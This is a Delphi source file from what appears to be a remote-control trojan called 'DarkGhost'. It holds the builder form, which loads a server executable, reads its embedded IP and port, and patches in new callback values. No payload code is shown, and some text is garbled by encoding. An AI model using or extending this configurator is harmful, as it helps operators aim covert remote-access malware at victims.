uniteditordelserver.pas

远程控制辕马

unit UnitEditorDelServer;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, UnitEditServer;

type
  TFormEditor = class(TForm)
    LabelIp: TLabel;
    LabelPuerto: TLabel;
    BtnGuardarConfig: TSpeedButton;
    EditIp: TEdit;
    EditPuerto: TEdit;
    EditRutaServer: TEdit;
    BtnCargarServer: TSpeedButton;
    OpenServer: TOpenDialog;
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure EditPuertoKeyPress(Sender: TObject; var Key: Char);
    procedure BtnGuardarConfigClick(Sender: TObject);
    procedure BtnCargarServerClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormEditor: TFormEditor;

implementation

uses UnitPrincipal;

{$R *.dfm}

procedure TFormEditor.FormShow(Sender: TObject);
begin
FormEditor.Top := FormPrincipal.Top + 40;
FormEditor.Left := FormPrincipal.Left + 80;
FormPrincipal.Enabled := false;
end;

procedure TFormEditor.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FormPrincipal.Enabled := true;
end;

procedure TFormEditor.EditPuertoKeyPress(Sender: TObject; var Key: Char);
begin
if (key <#48) or (key >#57) then  //esto sirve para q solo se
if key<>#8 then                   //puedan escribir numeros en el edit
begin
key:=#0;
end;
end;

procedure TFormEditor.BtnGuardarConfigClick(Sender: TObject);
begin
if (StrToIntDef(EditPuerto.Text, -1) = -1) or
(StrToInt(EditPuerto.Text) > 65535) or
(StrToInt(EditPuerto.Text) < 1) then
begin
Application.MessageBox('El puerto debe ser un numero entre 1 y 65535', 'DarkGhost');
end
else
begin
 InsOrReplaceInFile('PORT',OpenServer.FileName, EditPuerto.Text);
 InsOrReplaceInFile('IP',OpenServer.FileName, EditIp.Text);
 Application.MessageBox('Configuraci髇 guardada con exito', 'Darkghost');
 FormEditor.Close;
end;

end;

procedure TFormEditor.BtnCargarServerClick(Sender: TObject);
var
cargaip, cargaport: string;
begin
OpenServer.ExeCute;
If Openserver.FileName <> '' then
begin
EditRutaServer.Text := OPenServer.FileName;
ExtractFromFile('IP', OpenServer.FileName, cargaip);
ExtractFromFile('PORT', OpenServer.FileName, cargaport);
EditIp.Text := cargaip;
EditPuerto.Text := cargaport;
end;
end;

end.